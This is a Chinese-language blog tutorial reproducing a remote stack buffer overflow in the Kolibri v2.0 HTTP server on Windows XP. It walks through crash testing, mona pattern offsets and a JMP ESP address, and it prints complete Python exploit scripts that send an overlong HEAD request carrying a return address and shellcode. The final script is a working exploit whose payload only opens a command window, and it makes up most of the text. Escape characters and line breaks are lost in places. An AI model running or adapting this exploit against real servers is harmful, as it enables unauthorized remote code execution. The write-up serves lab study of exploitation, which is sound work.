Kolibri v2.0-Buffer Overflow成功复现

Kolibri v2.0-Buffer Overflow成功复现及分析

文件下载地址:http://pan.baidu.com/s/1eS9r9lS

 正文

本次讲解用JMP ESP的方法溢出

关于网上的寻蛋指令将会在末尾给出地址

环境:windows xp sp3

工具:Immunity Debugger

配置Kolibri并开启服务

选中根目录  写入index文件

 然后访问目标机器的8080端口

配置完毕

初步寻找溢出点

已经配置完了,接下来就开始溢出

用到下面的一个python脚本

import socket

poc = "A" * 1000;
buffer = (
"HEAD /" + poc + " HTTP/1.1
"
"Host: 192.168.1.2:8080
"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
"
"Keep-Alive: 115
"
"Connection: keep-alive

")

expl = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
expl.connect(("192.168.1.29",8080));
expl.send(buffer);
expl.close();

发送1000个A来判断程序是否溢出了

用Immunity Debugger加载进一步分析

发现攻击后程序自动退出了  原因是程序崩溃后无法继续执行,所以这里我才用Immunity Debugger来中断它防止自动退出

发现栈中的数据都被41(ascii的A)填充了。

我们用到Immunity Debugger的mona模块来生成个寻找指令

!mona pattern_create 600

生成一串偏移地址为600的字符串

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

重新构造exp

import socket

poc = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9";
buffer = (
"HEAD /" + poc + " HTTP/1.1
"
"Host: 192.168.109.128:8080
"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
"
"Keep-Alive: 115
"
"Connection: keep-alive

")

expl = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
expl.connect(("192.168.109.128",8080));
expl.send(buffer);
expl.close();

继续用到Immunity Debugger来调试

发现这次指针指向了0152FB28的位置  但是由于esp是向下跳转的  所以以此类推EIP的位置就是esp-4

也就是当前的0152FB24的位置

我们再用mona查看0152FB24地址上的内容32724131偏移地址为多少

!mona po 32724131

偏移地址为515 对应的数值为1Ar2

所以只需要把对应的1Ar2的值换成JMP ESP地址就可以顺利成章的跳转了(相关知识请看我博客的缓冲区溢出讲解)

开始溢出程序

由于EIP是32位的寄存器 所以我们的EIP数值应该是4位 也就是516~519

所以前面515个字符我们都用A来代替

最后构造exp为

poc = "A" * 515+"JMP ESP地址"+"shellcode"

JMP ESP的地址是多少呢??

这里继续用mona来查看

!mona jmp -r esp

在根目录查看

随便从中选取一个  这里我选取0x7d5a30d7

构造最终的exp为

poc = "A" * 515+"xD7x30x5Ax7D"+"shellcode"

shellcode用一个弹出DOS窗口的

终极终极终极终极exp生成如下

import socket

poc = "A" * 515+"xD7x30x5Ax7D"+"x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6x45xFBx44xC6x45xFCx4CxC6x45xFDx4Cx8Dx45xF4x50xBAx7Bx1Dx80x7CxFFxD2x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2Ex89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4x50xB8xC7x93xBFx77xFFxD0";
buffer = (
"HEAD /" + poc + " HTTP/1.1
""Host: 192.168.109.128:8080
"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
"
"Keep-Alive: 115
"
"Connection: keep-alive

")

expl = socket.socket(socket.AF_INET,socket.SOCK_STREAM); 
expl.connect(("192.168.109.128",8080));   
expl.send(buffer);
expl.close(); 

可以看到我们成功远程溢出了目标服务器

结束语:

原文地址:http://bbs.pediy.com/thread-217595.htm

原文是用的寻蛋指令,这样的好处可以防止出现以下问题

当我们用JMP ESP溢出后 发现还是会出现错误框框

用寻蛋指令就不会出现类似问题

有兴趣的读者可以自己到原文读读原创大佬的智慧

原文地址:https://www.cnblogs.com/wh4am1/p/6916226.html